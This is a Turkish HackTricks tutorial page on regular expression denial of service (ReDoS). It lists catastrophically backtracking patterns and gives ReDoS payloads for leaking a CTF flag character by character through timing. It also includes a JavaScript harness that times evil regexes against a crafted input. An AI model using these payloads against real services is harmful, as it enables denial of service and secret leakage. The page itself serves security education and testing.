Regular expression Denial of Service - ReDoS

Regular expression Denial of Service - ReDoS

HackTricks'i Destekleyin

Regular Expression Denial of Service (ReDoS)

Bir Regular Expression Denial of Service (ReDoS), birinin düzenli ifadelerin (metin içinde desenleri arama ve eşleştirme yöntemi) nasıl çalıştığındaki zayıflıkları kullanması durumunda meydana gelir. Bazen, düzenli ifadeler kullanıldığında, özellikle üzerinde çalıştıkları metin parçası büyüdüğünde çok yavaş hale gelebilirler. Bu yavaşlık, metin boyutundaki küçük artışlarla bile çok hızlı bir şekilde kötüleşebilir. Saldırganlar, bu sorunu kullanarak düzenli ifadeleri kullanan bir programın uzun süre düzgün çalışmasını engelleyebilirler.

Problemli Regex Naïve Algoritması

Detayları kontrol edin https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Kötü Regexler

Kötü bir düzenli ifade deseni, özel olarak hazırlanmış girdi üzerinde takılı kalabilen bir desendir. Kötü regex desenleri genellikle tekrar ve tekrar ile gruplama içerir veya tekrar eden grupta örtüşme ile alternatiflik içerir. Kötü desenlere bazı örnekler şunlardır:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} for x > 10

Bunların hepsi aaaaaaaaaaaaaaaaaaaaaaaa! girdisine karşı savunmasızdır.

ReDoS Payload'ları

ReDoS ile Dize Sızdırma

Bir CTF'de (veya hata ödülü) belki de Regex'in eşleştiği hassas bir bilgiyi (bayrağı) kontrol ediyorsunuzdur. O zaman, Regex eşleştiğinde (zaman aşımı veya daha uzun işleme süresi) sayfanın donmasını sağlamak faydalı olabilir ve eşleşmediğinde değil. Bu şekilde, dizeyi karakter karakter sızdırabilirsiniz:

  • bu yazıda bu ReDoS kuralını bulabilirsiniz: ^(?=<flag>)((.*)*)*salt$

  • Örnek: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • bu yazımda bu örneği bulabilirsiniz: <flag>(((((((.*)*)*)*)*)*)*)!

  • bu yazımda şunu kullandı: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Girdi ve Regex Kontrolü

Aşağıdakiler, girdiyi ve regex'i kontrol ettiğiniz ReDoS örnekleridir:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Araçlar

Referanslar

HackTricks'i Destekleyin

Last updated